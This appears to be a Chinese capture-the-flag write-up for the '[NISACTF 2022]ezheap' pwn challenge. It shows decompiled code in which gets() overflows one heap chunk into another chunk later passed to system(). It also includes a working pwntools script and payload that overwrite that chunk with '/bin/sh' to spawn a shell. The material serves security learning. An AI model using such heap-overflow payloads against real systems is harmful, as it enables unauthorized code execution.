NSSCTF [NISACTF 2022]ezheap

2058.[NISACTF 2022]ezheap(堆溢出)

[NISACTF 2022]ezheap

1.准备
2.ida分析
main函数
复制代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *command; // [esp+8h] [ebp-10h]
  char *s; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  s = (char *)malloc(0x16u);
  command = (char *)malloc(0x16u);
  puts("Input:");
  gets(s);
  system(command);
  return 0;
}

这里先创建两个堆块s和command

然后在s有一个输入点,gets函数,存在堆溢出

并在下面有system函数,内容为command块的内容

3.EXP
思路:

这题有堆溢出和system函数,程序最后会运行system函数,内容为command块的内容

所以我们可以通过堆溢出,从s堆块溢出到command块,写入'/bin/sh',触发连接

通过gdb调试,得到偏移量

在main函数下断点,运行程序

一直运行到两个call malloc@plt后,查看堆情况

看到这里先要填充28个字节,在给command块一个size值后,就可以在command块填入'/bin/sh'当作它的内容

复制代码
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
脚本
复制代码
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',21394)
io= process('/home/motaly/pwn')
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
io.sendline(paylaod)
io.interactive()
相关推荐
saulgoodman-q3 天前
CVE-2023-34644锐捷未授权RCE 复现
pwn
暗流者5 天前
ctf wiki中kernel pwn 学习编译内核(2026年最新版)
学习·安全·网络安全·pwn
长安er9 天前
LeetCode215/347/295 堆相关理论与题目
java·数据结构·算法·leetcode·
笨手笨脚の10 天前
深入理解 Java 虚拟机-01 JVM 内存模型
java·jvm··虚拟机栈·方法区
saulgoodman-q15 天前
Pwncollege V8 Exploitation (下) 完结散花
网络安全·pwn·ctf
罗湖老棍子17 天前
最小函数值(minval)(信息学奥赛一本通- P1370)
数据结构·c++·算法··优先队列·
月明长歌19 天前
Java数据结构:PriorityQueue堆与优先级队列:从概念到手写大根堆
java·数据结构·python·leetcode·
kali-Myon25 天前
快速解决 Docker 环境中无法打开 gdb 调试窗口以及 tmux 中无法滚动页面内容和无法选中复制的问题
运维·安全·docker·容器·gdb·pwn·tmux
saulgoodman-q25 天前
Pwncollege V8 Exploitation (中)
pwn·ctf
EXtreme3525 天前
【数据结构】建堆操作:向上调整与向下调整的数学推导与性能对比
c语言·数据结构··时间复杂度·topk问题·算法分析